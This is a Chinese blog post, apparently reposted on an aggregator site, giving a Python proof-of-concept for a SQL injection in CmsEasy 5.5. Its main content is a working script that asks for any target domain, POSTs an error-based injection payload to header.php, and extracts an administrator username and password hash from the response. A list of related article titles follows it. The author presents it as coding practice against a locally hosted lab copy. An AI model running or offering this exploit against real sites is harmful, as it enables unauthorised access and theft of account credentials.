一个简单sql注入的poc

Posted cui0x01

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了一个简单sql注入的poc相关的知识,希望对你有一定的参考价值。

最近在提高自己编程能力,拿一些实用的小工具练下。该脚本为python语言,主要涉及模块urllib,re。

功能:验证CmsEasy5.5爆账号密码

实验用源码:http://pan.baidu.com/s/1i4lAwBF

搭建环境:phpstudy     试了IIs+php没爆出来最好用phpstudy。

通过浏览器访问确认存在漏洞存在。

 

用python来实现。

import urllib.request
import urllib.parse
import re
domain = input(\'请输入域名或ip(example:www.xx.com/xxx.xxx.xx):\')
url = \'http://%s/cmseasy/celive/live/header.php\' %(domain)
data = {
        \'xajax\':"LiveMessage",
        \'xajaxargs[0][name]\':"1\',(SELECT 1 FROM "
        "(select count(*),concat(floor(rand(0)*2),"
        "(select concat(username,0x23,password,md5(123)) "
        "from cmseasy_user where groupid=2 limit 1))a "
        "from information_schema.tables group by a)b),"
        "\'\',\'\',\'\',\'1\',\'127.0.0.1\',\'2\')#"
        }

data = urllib.parse.urlencode(data).encode(\'utf-8\')    #将要post的数据进行编码
try:
        req = urllib.request.Request(url,data)    #get请求不需要写data参数,post需要把data参数写上
        response = urllib.request.urlopen(req)
        html = response.read().decode(\'utf-8\')    
        if re.findall(r\'a801fc3202cb962ac59075b964b07152\',html):
                print("%s is vulnerable"%(url))
        html2 = re.findall(r\'(?<=entry \\\'1).*(?=a801fc3202cb962ac59075b964b07152)\',html)  #通过正则将账号密码匹配出来
        print(html2)
except Exception as err:
        print(\'Not Found\')

以上是关于一个简单sql注入的poc的主要内容,如果未能解决你的问题,请参考以下文章

以下代码片段是不是容易受到 Rails 5 中 SQL 注入的影响?

安全测试 web安全测试 常规安全漏洞 可能存在SQL和JS注入漏洞场景分析。为什么自己没有找到漏洞,哪么可能存在漏洞场景是?SQL注入漏洞修复 JS注入漏洞修复 漏洞存在场景分析和修复示例(代码片段

用python写注入漏洞的poc

ECShop 2.x/3.x SQL注入/任意代码执行漏洞

ThiThinkPHP5.x 远程函数执行与sql注入

SQL注入测试平台 SQLol -6.challenges挑战